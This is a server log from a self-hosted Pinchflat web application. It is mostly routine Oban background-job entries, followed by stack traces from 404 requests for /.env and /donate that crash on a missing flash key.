{"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:48:18.870 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:48:48.871 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:49:00.312 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:49:18.872 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:49:48.873 [info] {"source":"oban","duration":833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:50:00.313 [info] {"source":"oban","duration":254,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:50:18.875 [info] {"source":"oban","duration":751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:50:48.877 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:51:00.314 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:51:18.878 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:51:48.879 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:52:00.315 [info] {"source":"oban","duration":343,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:52:18.880 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:52:48.881 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:53:00.316 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:53:18.882 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:53:48.883 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:54:00.317 [info] {"source":"oban","duration":331,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:54:18.884 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:54:48.885 [info] {"source":"oban","duration":855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:55:00.318 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:55:18.887 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:55:48.888 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:56:00.319 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:56:18.889 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:56:48.890 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:57:00.320 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:57:18.891 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:57:48.892 [info] {"source":"oban","duration":807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:58:00.321 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:58:18.894 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:58:48.895 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:59:00.322 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:59:18.896 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:59:48.897 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:00:00.323 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:00:18.899 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:00:48.900 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:01:00.324 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:01:18.901 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:01:48.902 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:02:00.325 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:02:18.903 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:02:48.904 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:03:00.326 [info] {"source":"oban","duration":354,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:03:18.905 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:03:48.906 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:04:00.327 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:04:18.907 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:04:48.908 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:00.328 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:05:18.909 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:48.910 [info] {"source":"oban","duration":781,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:00.329 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:06:18.912 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:48.913 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:00.330 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:07:18.914 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:48.915 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:00.331 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:08:18.916 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:48.917 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:00.332 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:09:18.918 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:48.919 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:10:00.333 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:10:18.920 [info] {"source":"oban","duration":916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:10:48.922 [info] {"source":"oban","duration":881,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:00.334 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:11:18.924 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:48.925 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:00.335 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:12:18.926 [info] {"source":"oban","duration":813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:48.928 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:00.336 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:13:18.929 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:48.930 [info] {"source":"oban","duration":781,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:00.337 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:14:18.932 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:48.933 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:00.338 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:15:18.934 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:48.936 [info] {"source":"oban","duration":814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:00.339 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:16:18.938 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:48.939 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:00.340 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:17:18.940 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:48.941 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:00.341 [info] {"source":"oban","duration":287,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:18:18.942 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:48.943 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:00.342 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:19:18.944 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:48.946 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:00.343 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:20:18.947 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:48.948 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:00.344 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:21:18.949 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:48.950 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:00.346 [info] {"source":"oban","duration":354,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:22:18.951 [info] {"source":"oban","duration":560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:48.952 [info] {"source":"oban","duration":542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:00.346 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:23:18.953 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:48.954 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:24:00.347 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:24:18.955 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:24:48.956 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:00.348 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:25:18.957 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:48.958 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:00.349 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:26:18.959 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:48.960 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:00.350 [info] {"source":"oban","duration":193,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:27:18.961 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:48.962 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:00.351 [info] {"source":"oban","duration":193,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:28:18.963 [info] {"source":"oban","duration":838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:48.965 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:29:00.352 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:29:18.966 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:29:48.967 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:00.353 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:30:18.968 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:48.969 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:00.354 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:31:18.970 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:48.971 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:00.355 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:32:18.972 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:48.974 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:00.356 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:33:18.975 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:48.976 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:34:00.357 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:34:18.977 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:34:48.979 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:00.358 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:35:18.980 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:48.981 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:36:00.359 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:36:18.982 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:36:48.983 [info] {"source":"oban","duration":560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:00.360 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:37:18.984 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:48.985 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:00.361 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:38:18.986 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:48.987 [info] {"source":"oban","duration":820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:00.363 [info] {"source":"oban","duration":381,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:39:18.989 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:41.146 [info] GET /.env 06:39:41.146 [debug] QUERY OK source="settings" db=0.3ms idle=453.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:41.146 [debug] QUERY OK source="settings" db=0.1ms idle=454.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:41.147 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:39:41.147 [error] #PID<0.16376.0> running PinchflatWeb.Endpoint (connection #PID<0.16375.0>, stream id 1) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16376.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGYTC-0pOX3QgsAA_AC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16376.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, (truncated) 06:39:41.197 [info] GET /donate 06:39:41.197 [debug] QUERY OK source="settings" db=0.1ms idle=504.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:41.197 [debug] QUERY OK source="settings" db=0.0ms idle=504.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:41.197 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:39:41.198 [error] #PID<0.16377.0> running PinchflatWeb.Endpoint (connection #PID<0.16375.0>, stream id 2) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /donate ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /donate (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/donate", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16377.0>, params: %{}, path_info: ["donate"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, 